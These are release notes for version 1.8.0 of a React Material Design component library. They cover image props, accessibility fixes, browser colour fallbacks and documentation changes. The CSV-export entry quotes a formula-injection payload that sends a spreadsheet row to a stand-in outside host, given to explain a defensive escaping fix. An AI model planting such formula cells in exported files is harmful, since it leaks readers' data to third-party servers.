Skip to content

Material Plus 1.8.0

Choose a tag to compare

@jooy2 jooy2 released this 04 Oct 08:04
· 252 commits to main since this release

MPImage grew the eight props a picture actually needs — a turn, a mirror, a crop anchor, a letterbox, a real placeholder — and the rest of the release is what a pass over every other component turned up: a CSV that a spreadsheet will not run, five accessibility gaps in components that had none, an Intl cache the whole library reads through, and a documentation site whose Korean links now land where they point.

Breaking changes

  • A lone width or height on MPImage sizes the box. The two together are still the file's size and still reserve its proportion. One of them alone used to reach the <img> and change nothing, because the picture always filled its box. Now height alone makes the box that tall and as wide as its container, or as wide as ratio makes it, and width alone makes the box that wide, no wider than its container. Code that passed one dimension as a hint about the file now draws at that size: pass both dimensions, or remove the one.

  • MPDataTable's CSV defuses a cell a spreadsheet would run as a formula. A cell beginning =, +, - or @ is a formula to Excel, Sheets and LibreOffice, and the rows in a data table are usually things other people typed — so =HYPERLINK("https://collect.example/?r="&A1) in a name column was one click from posting the row beside it to somebody else's server, on the reader's own machine and out of this component's reach. Such a cell now goes out with an apostrophe in front, which all three read as "the rest of this is text" and strip on the way in. A number keeps its sign: -5 and +82 2 555 0100 begin with a formula character and are not formulas. A file bound for a parser rather than for a person needs exportEscapeFormulas={false} — a database loader has no apostrophe rule and takes the character as part of the value.

  • An MPImage with preview fills its container, as one without it does. The button preview draws was as wide as the picture inside it, so a file narrower than its container drew at its own width once it could be opened, and at the container's width when it could not. Both are the container's width now. To keep a small picture at its own size, give it a lone width, such as the file's width in pixels: the box is then that wide and no wider than its container, which is what the button used to do.

Added

  • MPDataTable takes exportEscapeFormulas. It turns off the formula escaping described above, for the one case where that escaping is wrong: a file going to a parser rather than to a person. @default true

  • MPAppLogo takes target and rel. Both already reached the <a> an href makes, as part of the element's own prop set, and neither was documented or wired to anything. They are named props now and target="_blank" gets a rel on its own, which is the fix below.

  • fit="scale-down" on MPImage and MPAspectRatio. It draws like contain, but never enlarges a file smaller than its box. MPImageFit and MPAspectFit both take it, and a box with a fixed height, from the change above, is where the choice of fit shows.

  • MPImage turns a picture with rotate, a quarter turn at a time. It takes 0, 90, 180 or 270 degrees clockwise, and any other number is rounded to the nearest quarter. A quarter turn swaps the box's proportion: it is reserved from width and height when both are given, read from the file when it loads otherwise, and left alone when ratio is set. The turn is drawn with the rotate property, so a transform of your own still applies, and preview opens the picture turned.

  • MPImage mirrors a picture with flip. It takes 'horizontal', 'vertical' or 'both', measured on the screen, so horizontal swaps left and right whether or not the picture is turned. The mirror is drawn with the scale property, which leaves transform free, and preview opens the picture mirrored.

  • MPImage takes position: which part of the picture a crop keeps. It takes the centre, a side, a corner or two percentages, and also decides where contain, none and scale-down leave their empty space. The value is read on the picture as shown, so top keeps the top of a picture that is turned or mirrored, and it stays physical on a right-to-left page. A value in any other form reaches object-position unchanged.

  • MPImage fills the room fit leaves with letterbox. 'blur' draws the picture again behind itself, covering the box and blurred, the way a video player fills the sides of a portrait clip. The copy is hidden from assistive technology and the pointer, takes the picture's turn, mirror and position, and is given exactly what the picture loads from, so the file is fetched once. It is drawn only for contain, none and scale-down. Any other string is painted behind the picture as a CSS background.

  • MPImage's placeholder takes a picture. { src, blur } draws a small copy of the file, a data URI or a Blob in place of the shimmer while the file arrives, fitted, placed, turned and mirrored like the picture. blur: true is a 20px radius and a number is a radius in pixels. The stand-in stays opaque until the picture has faded in over it and is then hidden in one step, so the page never shows through a cross-fade, and it is removed if the file fails. A Blob is drawn through an object URL that is revoked when the Blob is replaced or the image unmounts. Like the shimmer, it needs a reserved box.

  • MPImage takes priority, for the picture a page is judged by. It sets loading="eager" and a high fetch priority, and a loading or fetchPriority written out on the image still wins. The attribute is spelled the way the running React knows it, fetchPriority in 19 and fetchpriority in 18, so neither warns. The documentation now describes loading, decoding and fetchPriority, which already passed through to the <img>.

  • MPGridItem takes span="auto": exactly the width of what is inside it. MPGridSpan had 'grow' for one end of the question a column count cannot answer — the width the row has left — and nothing for the other end, an item that is the size of its own contents. The two pair, and the layout that wants both is a bar with a group at each end: transport controls at 'grow', and at 'auto' however many icon buttons the page turned out to need. That count is a runtime question, so a share of twelve columns is either too small or too large — four 32px buttons need 128px, large: 2 of a 768px bar is exactly 128px, and the fraction of a pixel rounding takes off wrapped the last button onto a second row and doubled the height of the bar.

    It is responsive like every other span, and a number at a wider class writes the columns back over it. An 'auto' item does not shrink, which nothing in this grid does, so contents wider than the row overflow rather than squeezing what is beside them. The keyword is one no calc() can produce, so it arrives as a whole width on a rung of its own rather than as a number inside the column arithmetic — thirty-five slots reset at a grid boundary now rather than thirty.

Changed

  • MPCarousel's arrows sit at 85% rather than solid. A slide is usually a photograph, and two full-strength discs of the accent on one is chrome shouting over the thing it is there to move. The alpha is on the container and not on the button: opacity would take the glyph down with it, and the glyph against its own disc is the contrast that has to survive. Eighty-five is the lowest step that still clears 4.5:1 over a white slide against the default source — 4.73 there, against 5.04 at 88% and 4.26 at 80%. Hover, focus and a press take it back to solid, and a disabled arrow keeps the specification's own treatment. MD3 names no carousel arrow at all, so this is the library's decision rather than a token being followed.

  • The dependencies are current, and the test runner is on vitest 5. @base-ui/react moves to 1.8, lucide-react to 1.47, React and its types to 19.3, and the rest of the toolchain to its newest. eslint and typescript are deliberately held where they were.

    lucide-react 1.47 is the one update a consumer can measure: it costs about 0.8 kB gzipped on any bundle that draws a glyph, which puts MPButton at 3.8 kB where it was 3.0 and the whole library at 130.6 where it was 129.7. A bundle with no glyph in it — MPBox — is unchanged. Nothing in the library's own code changed to meet any of these.

  • Every Intl formatter the library builds is now cached, keyed on what it was asked for. Constructing one resolves a locale and loads the data behind the options; the object that comes back then formats for free, so a formatter built per value is the one cost worth not paying. The date module had worked this out and cached its own; the charts, MPStatistic, MPSparkline, MPPieChart, the time axis and the text segmenter behind MPAnimateSplit had not — a pie built a percent formatter per slice and a split built a segmenter per word. MPAnimateCounter was the worst of them: it memoised on an options prop, so a caller writing that object inline rebuilt the formatter on every frame of the count. The cache reads what the options say rather than which object said it, so an inline literal hits. localeWeekStart and isHour12, which the four pickers call in their render body, are cached on the locale as well.

  • The package's links point at the repository that exists. repository, bugs and the README's badges all named jooy2/material-plus; the repository is jooy2/material-plus-ui and has been answering for the old name on a redirect. npm renders repository as the source link on the package page and bugs is where npm bugs sends a reader, so both were one cleared redirect away from being dead rather than merely indirect. Twelve links across nine files, including the documentation site's own GitHub and edit links, which are derived from repository.url and moved on their own.

  • The package describes itself by what it is, rather than by what other libraries are not. description read "the components other Material libraries do not ship, and wider versions of the ones they do", which places the library next to its neighbours instead of saying what it is. It now leads with the specification it was written from and with what it adds past that — the charts, the data table and the command palette the specification does not name.

    npm prints that sentence on the package page, and the documentation site prints it on every page that declares no description of its own, so the site's English copy is now read from package.json rather than kept beside it: two hand-maintained copies of one paragraph is how a package and its site end up describing different libraries. The Korean is a translation of the same sentence, llms.txt takes both from there, and the README's opening paragraph and the two pages that quoted the old sentence say the new one instead.

  • author and the licence carry a contact page rather than a personal address. Both named a personal mailbox and now read CDGet (https://cdget.com). author is published metadata, so the old address was on the npm page; every contact route in the project is cdget.com/contact.

  • The colour roles are drawn in browsers without relative colour syntax, which puts the floor at Chrome and Edge 111, Firefox 113 and Safari 16.4. Every source-derived role is written with relative colour syntax, and a browser that cannot compute one drops it without a sound: in Chromium 111 and Firefox 113 all 24 were transparent, so a filled button had no fill and a dialog had no sheet behind its text, and WebKit 16.4 and 17.4 lost the tertiary family. src/styles.css now writes the whole default scheme out a second time, light and dark, as the colours a current browser draws, behind an @supports not (…) for the syntax the roles use. Chrome and Edge before 119, Firefox before 128 and Safari before 18 draw that copy; --mp-source-color changes nothing there, and --mp-sys-color-* still does.

    Measured in Playwright's builds of Chromium 111, Firefox 113, 127 and 128 and WebKit 16.4, 17.4 and 18.0, and in Chrome for Testing 122: all 58 role values are within two steps of a current Chromium's, and every documentation demo renders. test/styles/relative-colour.test.tsx holds the copy to the roles.

Documentation

  • The nine charts have a Charts group, under Motion. They were filed under Display beside the icon and the avatar, which is the category for "it shows something and nothing more" and does not describe a line chart. They are a family rather than a category — a reader wants all of them or none — and the specification names not one of them, so the group sits at the end of the list with Motion rather than opening it alphabetically. Their pages move to /components/charts/, and the gallery on the all-components page groups them the same way.

  • useMPConfirm has a Hooks group of its own, and is spelled the way it is imported. It was filed under Feedback beside the components, and the sidebar generator capitalises the first letter of every row it names — which turned a hook into UseMPConfirm, a name that is in no file and that nobody would type. The page moves to /components/hooks/confirm and the generator's one wrong shape is put back.

  • The package has two runtime dependencies, and the documentation says so. highlight.js joined lucide-react when MPCodeBlock arrived, and the README, both front pages and the colour and date picker pages still said there was one. The grammars behind the second sit behind an import(), so a page that renders no code block downloads none of them — which is the part that was worth saying and was being said as a dependency count instead.

  • The front page says what the library is, and then shows six of it running. The headline was "the Material components you keep writing yourself", which is the argument the section below it already makes at length rather than the thing a reader opens the page to find out. It is the specification claim now, and the tagline is what the library puts on top of that claim: a wider range of components, a design that goes further, and the options for running the whole thing tighter or spreading it across more width.

    The section under it argued the old headline, so it argues this one instead — where the specification was followed, and where it stops and a screen does not. The button ladder is the example it gives: lg and xl are 64px and 72px because the next size after the specification's 56px is 96px, and a 96px button beside a 64px field is not a row. The page's <meta name="description"> carried the old headline's framing too, in both locales, and now carries this one.

    Two sections are new. Features is twenty-one names and no prose, for a reader who is scanning rather than reading — every one of them a thing the library has, from the IME-safe field to the Tailwind v4 token sheet. Preview sits under the install instructions and holds MPTextField, MPButton, MPDatePicker, MPLineChart, MPDataTable and MPAlert, running in the page and each linking to its own documentation. Until now the front page asked a reader to install the package before it showed them a single component.

    The hero mark is a 512px file where it was 256px, re-exported from the full-size artwork and framed exactly as the old one was. It is drawn at 256px rather than 160px and still has pixels in hand on a 2× display, and the same file is the site's og:image, where 256px was small for a social card.

  • The demos draw real pictures now, where before they drew gradients. A component whose whole argument is "a picture that is never an empty box" was showing the empty box: every MPAvatar on the site was a pair of initials, MPImage opened an inline SVG, and MPAppLogo's src — one of the four things the page says can be the mark — had no example at all. Twenty-one demos and the all-components grid now carry photographs, portraits, drawn artwork and product marks.

    Two props got their first demonstration out of it. previewSrc is finally the pair it was written for: a 480px thumbnail on the page and the 1200px file fetched only when somebody opens the picture, which is visible in the network panel rather than only claimed in prose. MPChatBubble's preview.image was documented and never drawn.

    The files sit in docs/public/samples as resized WebP copies of jooy2/sample-assets, which carries this repository's licence and copyright, and the photographs and drawings keep a thumbnail beside the full file. The demos reach for the thumbnail: a 320px card holding a 1200px photograph is the mistake a component library's own site is the last place to make.

  • The community files were templates with the blanks still in them. CONTRIBUTING.md opened with "Contributing to Project", told a reader to email a maintainer who is not named anywhere, and described no part of this repository. It now carries the layout, the commands, the fact that the tests need a real browser installed and how VITEST_BROWSER picks the engine, and the rule that a page added to docs/en gets one in docs/ko even if nobody translates it yet. SECURITY.md says which version is supported and what a useful report contains. The issue template's contact links were three commented-out examples pointing at GitHub's own pages, and are now the documentation, the contact page and the advisory form.

  • The code of conduct is Contributor Covenant 2.1. It had been 2.0, which is the version before caste and colour were added to the pledge.

  • The README stopped listing two components as though they were all of them. The table held MPTextField and MPIcon against a hundred and twenty-six components with pages of their own, and read as a complete inventory rather than a sample. It is a sentence and a link now. The README also links the code of conduct and the security process, which it never did, and says where to support the work.

  • The README shows the components before it describes them. A picture under the tagline puts the core controls around the mark — fields, a select, a switch, radios and checkboxes, buttons and chips, a segmented button, pagination, an alert, a slider, a progress bar, a meter, avatars, a badge and a rating. It is linked by absolute URL for the same reason the logo is: npm renders the README too, and the file is not in the tarball.

  • The documentation stylesheet names its sources, and Tailwind stopped reading class names out of prose. The entry point listed two @source directories and a comment claiming those were all Tailwind could see. They were not: without source(none) Tailwind adds automatic detection on top of whatever is listed and walks the whole repository, Markdown included. It found the broken arbitrary value this changelog quotes in a code fence — the one the 1.4.0 entry exists to explain — compiled it back into a rule, and lightningcss rejected it on every build. That warning has been in the build output ever since the entry was written. Twenty-eight utilities in the site's stylesheet came from documentation describing them rather than using them; the sheet is 4.7 kB smaller without them, and no class a page actually uses was lost.

    Turning detection off exposed a second thing. src/styles.css carries its own @source '.', which is what gives a consumer the components' utilities — that line works, through the Tailwind CLI and under a source(none) of their own, both checked rather than assumed. What it does not survive is the documentation entry point's relative @import: Vite inlines that before @tailwindcss/postcss sees it, so the . resolves against the wrong directory. Automatic detection had been covering for it, and the site now names src itself.

  • The site says which browsers the library runs in. A Browser support page under Discover more puts the floor at Chrome and Edge 111, Firefox 113 and Safari 16.4, says what sets each number, and lists the eight things that are reduced at the older end — theming from the source colour before Chrome 119, Firefox 128 and Safari 18, and the counter and the lighting effect's motion before Firefox 128, among them. Every figure on it was either run in that engine or taken from MDN's compatibility data and the two libraries' own statements, and the page says which. Getting started and the README link to it. In llms.txt it has a section of its own, and the changelog alone stays under Optional.

  • The size figures in the README and the guide are the current build's. The whole stylesheet is 171.6 kB, 23.4 kB compressed, and the split sheets for one, five and ten components are 6.4, 9.4 and 12.2 kB; the JavaScript for five, ten and every component is 9.1, 13.4 and 129.1 kB. The old figures were measured for 1.7.0, before the fixes in this release, the colour changes above and below, and the additions to MPImage.

  • The Korean colour page stopped striking out half a sentence. The formatter had turned the two ranges in its paragraph on neutral hues into a pair of ~~ marks, and everything between the two rendered struck out. The ranges are written with a dash now, as in English.

  • A page description no longer puts a space before the punctuation after inline markup. The site builds each page's <meta name="description"> and its llms.txt line from the lede, and replaced every tag with a space, so <strong>window size classes</strong>, not came out as classes , not. Inline tags now go without a trace; a tag that ends a line of text still becomes a space.

Fixed

  • MPCheckbox and MPRadio stay inside a column narrower than their label. Both are inline-block, which is a shrink-to-fit box: it takes the width of its contents and overflows a narrower parent rather than being capped by it. So a long label in a narrow column laid itself out at full width and printed over whatever was beside it — in MPTransfer's heading strip, the list's name ran straight over its count — and a truncate inside the label never had a width small enough to act on. Both are now held to their container's width, and a label that truncates does.

  • MPAnchor answers a press a router has already taken. VitePress, Docusaurus, Astro and Nuxt all claim same-page hash clicks, cancel them and scroll the window to where they think the target is — which, given a container, is the one scrollport they cannot mean, so the page jumped and the panel stayed where it was. A press that arrives already cancelled now scrolls container to the heading, offset included. One that nobody cancelled is untouched: the browser scrolls, writes the hash and adds the history entry on its own, and without container nothing is bound at all.

  • A new tab opened from MPAppLogo no longer gets a handle on the page it left. target="_blank" hands the opened page a window.opener back into this one unless it is told not to, and the referrer travels with it. Five components work this out through one internal helper; MPAppLogo took an <a>'s whole prop set and did not, so a lockup linking off-site was the one link in the library with neither noopener nor noreferrer. It now gets noopener noreferrer, and a rel of your own replaces that rather than extending it — the same bargain the other five document.

  • MPTour says where the reader has arrived when the step changes. The card is announced once, when it opens, out of its title and description; every step after the first swaps those two inside a popup that never closed, so a reader pressing Next heard the button they were standing on and nothing about the step they had reached. The card now carries a polite live region with the position and the title — "Step 2 of 3. The second" — which is empty on the step it opened on, so the opening announcement is not doubled.

  • MPStepper's panel has a name, and the step that opens it says so. The panel is drawn outside the rail rather than inside the step it belongs to, so nothing in the markup said the two were related and the panel was a role="group" with an aria-label explicitly set to undefined — announced as "group" and nothing else. It takes its name from the title of the step that is open now, and a pressable step points at it with aria-controls and reports whether it is the one showing. A stepper whose steps carry no content promises no panel.

  • MPTransfer's two lists are told apart. Each list is a group named after the heading already above it. A reader moving by form control heard the row's label and nothing saying which side of the transfer it was on, on the one component whose whole subject is which side a row is on.

  • MPTransfer says what a press did. The arrow keeps the focus and the only thing that changes is which of two columns of near-identical rows a row is in, so moving five rows was silent. A polite live region now reports how many crossed and which list they landed in — named by your own sourceLabel or targetLabel where that is a string, and by the locale's word for it otherwise. transfer.moved is a new message and is translated in all eighteen languages.

  • Every Korean anchor lands on its heading. VitePress slugs a heading through NFKD and drops the combining marks, which is how Café becomes cafe. Hangul has no combining marks, so NFKD split every syllable into jamo and all of them survived: 모양 became five code points that look exactly like the two anybody would type. Forty-seven hand-written anchors across the Korean pages therefore landed at the top of the page instead of at the heading, and nothing about the link or the id showed it. The slug composes its result now, which leaves every id with no Hangul in it byte for byte what it was. Four more links, in both locales, left off the _ that a slug beginning with a digit carries.

  • A page that moved leaves a stub at the address it used to answer. Two rounds of regrouping moved useMPConfirm and the nine charts, and the site is GitHub Pages: there is no server to answer 301, so those twenty URLs simply stopped existing for anybody who had bookmarked or linked one. Each is now a canonical plus a zero-second refresh pointing at the page's new home.

  • The note beside the sample images is no longer published as a page. VitePress compiles every .md under the source directory, public/ included, so a file telling a contributor what size a portrait is was being built into the site and listed in the sitemap for indexing — with a locale switcher pointing at a Korean translation that does not exist.

  • MPAnimateFade carried one of its sections twice. Twenty-six lines, verbatim but for two words, in the English page only; the Korean translation has it once.

  • Six links in the props tables pointed at pages that are not there. MPAlert and MPAspectRatio linked one directory too high to the colour page, MPChip and MPMenu linked to each other as though they shared a section, MPPortal linked to MPDialog and MPTable to MPListItem in the wrong ones. Both locales, since the tables are generated from the same comments.

  • The documentation site declared the wrong size for its own share image. og:image:width and og:image:height said 256 where the file is 512 square, so a crawler laid the card out around a box the image does not fill.

  • MPImage no longer leaves a strip under a picture whose box has no reserved size. The <img> was inline, so it sat on a line box that keeps room for descenders, and a box with no ratio and not both dimensions ended a few pixels below the picture on a page without a reset: 204 pixels tall around a 200 pixel picture in Chromium. A letterbox colour showed in that strip. The picture is a block now, and the box ends where it does. The documentation site resets images on its own, which is why none of it showed there.

  • The ends of every palette are drawn in the colour they name. A container or on- role takes its palette's full chroma at a tone where sRGB has only a fraction of it, or none, and the sheet left the browser to bring it in. Browsers do not do that at constant lightness and hue; Chromium, Firefox and WebKit all clip each channel on its own. The default on-primary was therefore #b8ffff rather than white — the label on every filled button — primary-container a saturated cyan, on-error a salmon and error-container a ΔE of 0.10 from MD3's. The accent and error roles now bring a colour that does not fit inside sRGB themselves: its chroma is reduced in OKLab at its own lightness and hue, by an estimate of what sRGB can hold there, and whatever still does not fit is moved towards the grey of that lightness in linear light. A colour that fits is left alone, and for the default source every role lands within a ΔE of 0.004 of an exact chroma reduction. Fed MD3's baseline source, the eighteen container and on- roles of the three accent families land within 0.02 of MD3's and the three on- roles of the light scheme on its white; a vivid source's containers stop drifting in hue. The colour page has a section on it. With the default scheme written out for older browsers as well, under Changed, the whole sheet is 2.1 kB larger compressed than it was.

  • MPRating rings the focused star in Firefox before 121. The ring was drawn with :has(:focus-visible), which those versions do not have, so a star reached from the keyboard showed nothing. They now ring it through :focus-within, which rings a star clicked with a pointer as well.

  • MPPill no longer crashes Safari 16.4. The description is drawn in color: color-mix(in oklab, currentColor 72%, transparent), and a color-mix() that reads currentColor inside color itself is what WebKit 16.4 took the whole tab down on — any page with a pill on it. The rule now sits behind the @supports condition Tailwind uses for its own placeholder colour, which lets in every browser that is not Safari and Safari from 17. An older Safari draws the description in the title's colour.

  • MPAnimateCounter shows its value to a reader who asked for less motion. The counting copy read the animated --mp-count back on every frame, and with the keyframes switched off by prefers-reduced-motion that is the registration's 0: the tile said 0, 0 € and 0.00% where the statistic was, in every current browser, while the screen-reader copy said the right number. The counter now shows the value when there is no animation to read and once the run has finished. The same change lands it on the value in a Firefox old enough not to animate the property at all, where it used to stay at from — Firefox 113 is one.

  • A native control no longer wears the browser's own border, fill or type on a page without a reset. The library ships no reset, so each component takes a <button>'s styling off itself — and most of them took off the background and the font family and left the border. A filled, tonal, elevated or text MPButton and MPToggle, a pressable MPChip and its ×, MPFloatingActionButton, MPSegmentedButton, MPTabs, MPMenubar, MPNavigationMenu, MPBottomNavigation, MPStepper's steps, MPNumberField's steppers, the triggers of MPSelect, MPColorPicker, MPTreeSelect and the four date and time pickers, MPCombobox's input and buttons, MPCalendar's days, the time picker's rows, MPAlert's × and every chart's legend drew a two-pixel bevel, and several a grey fill or the browser's padding as well. MPPill, MPDataTable's sort buttons, a chart's legend and MPCombobox's input set their words in the browser's 13px, because font-family: inherit does not carry the size. The documentation site resets buttons on its own, which is why none of this showed there; a page with a reset of its own sees no change.

  • A list a component draws no longer wears the browser's margin, indent or markers on a page without a reset. A <ul> or an <ol> arrives with a block margin of one em, forty pixels of indent and a marker on every item. MPList, MPTimeline, MPNavigationMenu and a chart's legend kept all three that applied — the legend drew a bullet in front of every series — and MPBreadcrumb and MPStepper's rail kept the margin. A chart's tooltip had the same list inside it. Each now takes the three off itself, as MPPagination, MPAnchor and MPFilePicker already did.

  • A paragraph, quote or figure a component draws no longer wears the browser's margin on a page without a reset. Base UI's Field.Description renders a <p>, which arrives with a block margin of one em, so the supporting text under MPCheckbox, MPSwitch, MPSelect, MPCombobox, MPNumberField, MPOtpField, MPRadioGroup, MPColorPicker, MPTreeSelect and the four date and time pickers sat an em below its control and an em above whatever came next, and MPRadio's own description did the same around a 12px line. The margin also spoiled the line's entrance: the field jumped by both margins before the row began to open, and dropped by them again when an error replaced the description. MPBlockquote kept 1em 40px on its <blockquote> and, with an attribution, on its <figure>, which set the words forty pixels in from their own rule.

    Each now says m-0 on the element it owns — on the description only, since Field.Error renders a <div> with no margin. A host stylesheet that styles blockquote by name still outranks the zero, and MPBlockquote's comment says why that is left alone. test/styles/native-blocks.test.tsx measures each against a bare <p>, <blockquote> and <figure> in the same page. The documentation site zeroes these margins inside its previews, which is why none of it showed there.

  • MPChip keeps the tails of its letters. The label is truncated, and truncation clips at the line box, which the chip's one-em leading made shorter than the glyphs inside it — so every g, j, p, q and y lost its descender, at every size. The label's line box is now the font's own height. The chip is the same height and the words sit where they did.

  • A field with no label drew its outline five pixels above the control. A browser paints a fieldset's block-start border through the middle of its legend rather than along the box's own top edge, so the shell pulls the box up by five to land that line on the control's top edge. The legend is rendered only when there is a label; the offset was applied either way. A labelless field therefore wore a 37px ring around a 32px xs control, sitting 2.5px above the centre of whatever row it was in — which is how it was reported: a search box in a 48px header bar that does not quite line up with the icons beside it. The five pixels are now reserved only when there is a legend to reserve them for, on every control drawn on the shell: MPTextField, MPSelect, MPNumberField, MPCombobox, MPColorPicker and the four pickers.

  • MPIcon drew a glyph smaller than the size it was given when the glyph carried a margin. The artwork is a flex item at width: 100% inside a box whose width is fixed, so 100% + margin overflows and flex took the difference out of the glyph rather than letting it overflow: <MPIcon icon={Tag} size={16} /> under a page rule of [&_svg]:mr-1.25 rendered 11×16, with nothing to say so. A margin aimed at svg is what a migration off Material UI leaves behind, where the SvgIcon was the element to put one on. The glyph slots are shrink-0 now, so a declared size is what gets drawn and a stray margin overflows where it can be seen. The icon page says where spacing belongs.

  • The notch was cut wherever the page's text-align put it, and the label stayed at the inline start. A rendered <legend> is placed within the border it interrupts by its <fieldset>'s text-align, and the outline declared none of its own, so it inherited whatever was around it. MPFieldLabel is absolutely positioned and inherits nothing. Put a field inside a centred container — a sign-in card is the obvious one — and the gap opened in the middle of the top border while the label sat on the left, 165px away from it on a 345px card. The outline now declares text-align: start, which is start rather than left so the notch keeps following the writing direction under RTL. Same six shells as above.


Every release of this package is in the changelog on the docs site and in CHANGELOG.md at this tag.